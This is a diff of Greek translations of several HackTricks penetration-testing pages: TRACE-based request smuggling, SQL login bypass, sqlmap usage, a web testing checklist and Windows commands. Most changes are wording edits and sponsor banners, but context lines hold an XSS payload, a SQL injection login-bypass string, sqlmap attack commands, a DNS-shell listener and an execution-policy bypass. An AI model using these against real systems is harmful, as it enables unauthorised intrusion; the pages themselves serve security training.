+[**Σε αυτή την ανάρτηση**](https://portswigger.net/research/trace-desync-attack) προτείνεται ότι αν ο διακομιστής έχει ενεργοποιημένη τη μέθοδο TRACE, θα μπορούσε να είναι δυνατό να την καταχραστεί με ένα HTTP Request Smuggling. Αυτό συμβαίνει επειδή αυτή η μέθοδος θα ανακλά οποιαδήποτε κεφαλίδα σταλεί στον διακομιστή ως μέρος του σώματος της απάντησης. Για παράδειγμα:
 ```
 TRACE / HTTP/1.1
 Host: example.com
@ -582,7 +582,7 @@ Content-Length: 44\r\n
 \r\n
 <script>alert("response splitting")</script>
 ```
-Θα δημιουργήσει αυτές τις απαντήσεις (σημειώστε πώς η απάντηση HEAD έχει ένα Content-Length που καθιστά την απάντηση TRACE μέρος του σώματος HEAD και μόλις τελειώσει το Content-Length HEAD, μια έγκυρη HTTP απάντηση διαρρέει):
+Θα δημιουργήσει αυτές τις απαντήσεις (σημειώστε πώς η απάντηση HEAD έχει ένα Content-Length που καθιστά την απάντηση TRACE μέρος του σώματος της HEAD και μόλις τελειώσει το Content-Length της HEAD, μια έγκυρη HTTP απάντηση διαρρέει):
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@ -735,9 +735,9 @@ table.add(req)

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

--- a/pentesting-web/login-bypass/sql-login-bypass.md
+++ b/pentesting-web/login-bypass/sql-login-bypass.md
@ -4,7 +4,7 @@

 <details>

-<summary>Υποστηρίξτε το HackTricks</summary>
+<summary>Υποστήριξη HackTricks</summary>

 * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
 * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -15,16 +15,16 @@

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε τα προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}


 Αυτή η λίστα περιέχει **payloads για να παρακάμψετε την είσοδο μέσω XPath, LDAP και SQL injection** (με αυτή τη σειρά).

-Ο τρόπος χρήσης αυτής της λίστας είναι να βάλετε τις **πρώτες 200 γραμμές ως το όνομα χρήστη και τον κωδικό πρόσβασης.** Στη συνέχεια, βάλτε τη συνολική λίστα πρώτα στο όνομα χρήστη και μετά στα πεδία κωδικού πρόσβασης, ενώ βάζετε κάποιον κωδικό πρόσβασης (όπως _Pass1234._) ή κάποιο γνωστό όνομα χρήστη (όπως _admin_).
+Ο τρόπος χρήσης αυτής της λίστας είναι να βάλετε τις **πρώτες 200 γραμμές ως το όνομα χρήστη και τον κωδικό πρόσβασης.** Στη συνέχεια, βάλτε τη πλήρη λίστα πρώτα στο όνομα χρήστη και μετά στα πεδία κωδικού πρόσβασης, ενώ βάζετε κάποιον κωδικό πρόσβασης (όπως _Pass1234._) ή κάποιο γνωστό όνομα χρήστη (όπως _admin_).
 ```
 admin
 password
@ -833,7 +833,7 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
 ```
 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

 **Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

--- a/pentesting-web/sql-injection/sqlmap/README.md
+++ b/pentesting-web/sql-injection/sqlmap/README.md
@ -17,9 +17,9 @@

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός hacker για τις εφαρμογές ιστού, το δίκτυο και το cloud σας**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

@ -67,7 +67,7 @@

 ### Από την καταγραφή του Burp/ZAP

-Καταγράψτε το αίτημα και δημιουργήστε ένα αρχείο req.txt
+Καταγράψτε το αίτημα και δημιουργήστε ένα req.txt αρχείο
 ```bash
 sqlmap -r req.txt --current-user
 ```
@ -80,7 +80,7 @@ sqlmap -u "http://example.com/?id=*" -p id
 ```bash
 sqlmap -u "http://example.com" --data "username=*&password=*"
 ```
-### Ενέσεις σε Κεφαλίδες και άλλες Μεθόδους HTTP
+### Εισαγωγές σε Κεφαλίδες και άλλες Μεθόδους HTTP
 ```bash
 #Inside cookie
 sqlmap  -u "http://example.com" --cookie "mycookies=*"
@ -164,13 +164,13 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
 | base64encode.py              | Κωδικοποιεί σε Base64 όλους τους χαρακτήρες σε ένα δεδομένο payload                                                                |
 | between.py                   | Αντικαθιστά τον τελεστή μεγαλύτερο από ('>') με 'NOT BETWEEN 0 AND #'                                                              |
 | bluecoat.py                  | Αντικαθιστά τον χαρακτήρα κενό μετά από δήλωση SQL με έναν έγκυρο τυχαίο κενό χαρακτήρα. Στη συνέχεια, αντικαθιστά τον χαρακτήρα = με τον τελεστή LIKE |
-| chardoubleencode.py          | Διπλά κωδικοποιεί URL όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων)                        |
+| chardoubleencode.py          | Διπλά κωδικοποιεί url όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων)                        |
 | commalesslimit.py            | Αντικαθιστά περιπτώσεις όπως 'LIMIT M, N' με 'LIMIT N OFFSET M'                                                                  |
 | commalessmid.py              | Αντικαθιστά περιπτώσεις όπως 'MID(A, B, C)' με 'MID(A FROM B FOR C)'                                                             |
 | concat2concatws.py           | Αντικαθιστά περιπτώσεις όπως 'CONCAT(A, B)' με 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)'                                           |
-| charencode.py                | Κωδικοποιεί URL όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων)                               |
-| charunicodeencode.py         | Κωδικοποιεί Unicode-url μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "%u0022"  |
-| charunicodeescape.py         | Κωδικοποιεί Unicode-url μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "\u0022"  |
+| charencode.py                | Κωδικοποιεί url όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων)                               |
+| charunicodeencode.py         | Κωδικοποιεί unicode-url τους μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "%u0022" |
+| charunicodeescape.py         | Κωδικοποιεί unicode-url τους μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "\u0022" |
 | equaltolike.py               | Αντικαθιστά όλες τις εμφανίσεις του τελεστή ίσο ('=') με τον τελεστή 'LIKE'                                                       |
 | escapequotes.py              | Διαφεύγει τις αποστροφές (' και ")                                                                                                 |
 | greatest.py                  | Αντικαθιστά τον τελεστή μεγαλύτερο από ('>') με τον αντίστοιχο 'GREATEST'                                                         |
@ -196,10 +196,10 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
 | space2mysqldash.py           | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλιο παύλας ('--') ακολουθούμενο από μια νέα γραμμή ('\n')                                |
 | space2plus.py                | Αντικαθιστά τον χαρακτήρα κενό (' ') με συν (+)                                                                                   |
 | space2randomblank.py         | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων                  |
-| symboliclogical.py           | Αντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς αντιστοίχους τους (&& και                                       |
+| symboliclogical.py           | Αντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς αντιστοίχους τους (&& και                                         |
 | unionalltounion.py           | Αντικαθιστά UNION ALL SELECT με UNION SELECT                                                                                      |
 | unmagicquotes.py             | Αντικαθιστά τον χαρακτήρα απόστροφου (') με έναν συνδυασμό πολλών byte %bf%27 μαζί με γενικό σχόλιο στο τέλος (για να λειτουργήσει) |
-| uppercase.py                 | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με κεφαλαίο χαρακτήρα 'INSERT'                                                            |
+| uppercase.py                 | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με τιμή κεφαλαίου 'INSERT'                                                                |
 | varnish.py                   | Προσθέτει μια HTTP κεφαλίδα 'X-originating-IP'                                                                                     |
 | versionedkeywords.py         | Περιβάλλει κάθε μη λειτουργική λέξη-κλειδί με σχολιασμό MySQL με έκδοση                                                             |
 | versionedmorekeywords.py     | Περιβάλλει κάθε λέξη-κλειδί με σχολιασμό MySQL με έκδοση                                                                           |
@ -207,9 +207,9 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές ιστού, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές ιστού, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

--- a/pentesting-web/web-vulnerabilities-methodology.md
+++ b/pentesting-web/web-vulnerabilities-methodology.md
@ -17,19 +17,19 @@

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός hacker για τις εφαρμογές ιστού, το δίκτυο και το cloud σας**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε τα προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}


-Σε κάθε Web Pentest, υπάρχουν **πολλές κρυφές και προφανείς θέσεις που μπορεί να είναι ευάλωτες**. Αυτή η ανάρτηση προορίζεται να είναι μια λίστα ελέγχου για να επιβεβαιώσετε ότι έχετε ελέγξει για ευπάθειες σε όλα τα πιθανά μέρη.
+Σε κάθε Web Pentest, υπάρχουν **πολλές κρυφές και προφανείς θέσεις που μπορεί να είναι ευάλωτες**. Αυτή η ανάρτηση προορίζεται να είναι μια λίστα ελέγχου για να επιβεβαιώσετε ότι έχετε ελέγξει για ευπάθειες σε όλες τις πιθανές θέσεις.

 ## Proxies

 {% hint style="info" %}
-Σήμερα, οι **διαδικτυακές** **εφαρμογές** συνήθως **χρησιμοποιούν** κάποιο είδος **ενδιάμεσων** **proxies**, οι οποίες μπορεί να (κατα)χρησιμοποιηθούν για να εκμεταλλευτούν ευπάθειες. Αυτές οι ευπάθειες χρειάζονται έναν ευάλωτο proxy για να είναι σε θέση, αλλά συνήθως χρειάζονται και κάποια επιπλέον ευπάθεια στο backend.
+Σήμερα, οι **εφαρμογές** **ιστού** συνήθως **χρησιμοποιούν** κάποιο είδος **ενδιάμεσων** **proxies**, οι οποίες μπορεί να (κατα)χρησιμοποιηθούν για να εκμεταλλευτούν ευπάθειες. Αυτές οι ευπάθειες χρειάζονται έναν ευάλωτο proxy για να είναι σε θέση, αλλά συνήθως χρειάζονται και κάποια επιπλέον ευπάθεια στο backend.
 {% endhint %}

 * [ ] [**Κατάχρηση hop-by-hop headers**](abusing-hop-by-hop-headers.md)
@ -44,13 +44,13 @@
 ## **Είσοδος Χρήστη**

 {% hint style="info" %}
-Οι περισσότερες διαδικτυακές εφαρμογές θα **επιτρέπουν στους χρήστες να εισάγουν κάποια δεδομένα που θα επεξεργαστούν αργότερα.**\
+Οι περισσότερες από τις εφαρμογές ιστού θα **επιτρέπουν στους χρήστες να εισάγουν κάποια δεδομένα που θα επεξεργαστούν αργότερα.**\
 Ανάλογα με τη δομή των δεδομένων που περιμένει ο διακομιστής, ορισμένες ευπάθειες μπορεί να ισχύουν ή όχι.
 {% endhint %}

 ### **Αντανάκλαση Τιμών**

-Εάν τα εισαγόμενα δεδομένα μπορεί κάπως να αντανακλώνται στην απάντηση, η σελίδα μπορεί να είναι ευάλωτη σε διάφορα ζητήματα.
+Εάν τα εισαγόμενα δεδομένα μπορεί κάπως να ανακλαστούν στην απάντηση, η σελίδα μπορεί να είναι ευάλωτη σε διάφορα ζητήματα.

 * [ ] [**Client Side Template Injection**](client-side-template-injection-csti.md)
 * [ ] [**Command Injection**](command-injection.md)
@ -68,7 +68,7 @@
 * [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
 * [ ] [**XS-Search**](xs-search/)

-Ορισμένες από τις αναφερόμενες ευπάθειες απαιτούν ειδικές συνθήκες, άλλες απαιτούν απλώς το περιεχόμενο να αντανακλάται. Μπορείτε να βρείτε μερικούς ενδιαφέροντες πολυγλώσσους για να δοκιμάσετε γρήγορα τις ευπάθειες σε:
+Ορισμένες από τις αναφερόμενες ευπάθειες απαιτούν ειδικές συνθήκες, άλλες απαιτούν απλώς το περιεχόμενο να ανακλάται. Μπορείτε να βρείτε μερικούς ενδιαφέροντες πολυγλώσσους για να δοκιμάσετε γρήγορα τις ευπάθειες σε:

 {% content-ref url="pocs-and-polygloths-cheatsheet/" %}
 [pocs-and-polygloths-cheatsheet](pocs-and-polygloths-cheatsheet/)
@ -95,34 +95,34 @@

 ### **HTTP Headers**

-Ανάλογα με τους HTTP headers που παρέχονται από τον διακομιστή web, ορισμένες ευπάθειες μπορεί να είναι παρούσες.
+Ανάλογα με τους HTTP headers που παρέχονται από τον διακομιστή ιστού, ορισμένες ευπάθειες μπορεί να είναι παρούσες.

 * [ ] [**Clickjacking**](clickjacking.md)
 * [ ] [**Παράκαμψη Content Security Policy**](content-security-policy-csp-bypass/)
 * [ ] [**Cookies Hacking**](hacking-with-cookies/)
-* [ ] [**CORS - Misconfigurations & Bypass**](cors-bypass.md)
+* [ ] [**CORS - Κακή Διαμόρφωση & Παράκαμψη**](cors-bypass.md)

 ### **Παράκαμψη**

 Υπάρχουν πολλές συγκεκριμένες λειτουργίες όπου ορισμένες λύσεις μπορεί να είναι χρήσιμες για να τις παρακάμψετε.

-* [ ] [**2FA/OTP Bypass**](2fa-bypass.md)
+* [ ] [**2FA/OTP Παράκαμψη**](2fa-bypass.md)
 * [ ] [**Παράκαμψη Διαδικασίας Πληρωμής**](bypass-payment-process.md)
-* [ ] [**Captcha Bypass**](captcha-bypass.md)
-* [ ] [**Login Bypass**](login-bypass/)
+* [ ] [**Παράκαμψη Captcha**](captcha-bypass.md)
+* [ ] [**Παράκαμψη Σύνδεσης**](login-bypass/)
 * [ ] [**Race Condition**](race-condition.md)
-* [ ] [**Rate Limit Bypass**](rate-limit-bypass.md)
-* [ ] [**Reset Forgotten Password Bypass**](reset-password.md)
+* [ ] [**Παράκαμψη Rate Limit**](rate-limit-bypass.md)
+* [ ] [**Παράκαμψη Επαναφοράς Ξεχασμένου Κωδικού**](reset-password.md)
 * [ ] [**Ευπάθειες Εγγραφής**](registration-vulnerabilities.md)

 ### **Δομημένα αντικείμενα / Συγκεκριμένες λειτουργίες**

-Ορισμένες λειτουργίες θα απαιτούν τα **δεδομένα να είναι δομημένα σε πολύ συγκεκριμένη μορφή** (όπως ένα γλωσσικό αντικείμενο ή XML). Επομένως, είναι πιο εύκολο να εντοπιστεί εάν η εφαρμογή μπορεί να είναι ευάλωτη καθώς πρέπει να επεξεργάζεται αυτού του είδους τα δεδομένα.\
-Ορισμένες **συγκεκριμένες λειτουργίες** μπορεί επίσης να είναι ευάλωτες εάν χρησιμοποιηθεί μια **συγκεκριμένη μορφή εισόδου** (όπως Email Header Injections).
+Ορισμένες λειτουργίες θα απαιτούν τα **δεδομένα να είναι δομημένα σε πολύ συγκεκριμένη μορφή** (όπως ένα γλωσσικό αντικείμενο ή XML). Επομένως, είναι πιο εύκολο να εντοπιστεί εάν η εφαρμογή μπορεί να είναι ευάλωτη καθώς χρειάζεται να επεξεργάζεται αυτού του είδους τα δεδομένα.\
+Ορισμένες **συγκεκριμένες λειτουργίες** μπορεί επίσης να είναι ευάλωτες εάν χρησιμοποιηθεί μια **συγκεκριμένη μορφή εισόδου** (όπως οι Εισαγωγές Header Email).

 * [ ] [**Deserialization**](deserialization/)
 * [ ] [**Email Header Injection**](email-injections.md)
-* [ ] [**JWT Vulnerabilities**](hacking-jwt-json-web-tokens.md)
+* [ ] [**JWT Ευπάθειες**](hacking-jwt-json-web-tokens.md)
 * [ ] [**XML External Entity**](xxe-xee-xml-external-entity.md)

 ### Αρχεία
@ -139,23 +139,23 @@
 ### **Διαχείριση Εξωτερικής Ταυτότητας**

 * [ ] [**OAUTH για Ανάληψη Λογαριασμού**](oauth-to-account-takeover.md)
-* [ ] [**SAML Attacks**](saml-attacks/)
+* [ ] [**SAML Επιθέσεις**](saml-attacks/)

 ### **Άλλες Χρήσιμες Ευπάθειες**

 Αυτές οι ευπάθειες μπορεί να βοηθήσουν στην εκμετάλλευση άλλων ευπαθειών.

-* [ ] [**Domain/Subdomain takeover**](domain-subdomain-takeover.md)
+* [ ] [**Ανάληψη Domain/Subdomain**](domain-subdomain-takeover.md)
 * [ ] [**IDOR**](idor.md)
 * [ ] [**Parameter Pollution**](parameter-pollution.md)
-* [ ] [**Unicode Normalization vulnerability**](unicode-injection/)
+* [ ] [**Ευπάθεια Unicode Normalization**](unicode-injection/)


 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός hacker για τις εφαρμογές ιστού, το δίκτυο και το cloud σας**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε τα προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

--- a/windows-hardening/basic-cmd-for-pentesters.md
+++ b/windows-hardening/basic-cmd-for-pentesters.md
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Get a hacker's perspective on your web apps, network, and cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

@ -352,7 +352,7 @@ netsh http show urlacl
 ```
 ### Manual DNS shell

-**Attacker** (Kali) πρέπει να χρησιμοποιήσει μία από αυτές τις 2 επιλογές:
+**Επιτιθέμενος** (Kali) πρέπει να χρησιμοποιήσει μία από αυτές τις 2 επιλογές:
 ```bash
 sudo responder -I <iface> #Active
 sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
@ -419,9 +419,9 @@ powershell -ep bypass - < c:\temp:ttt
 ```
 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

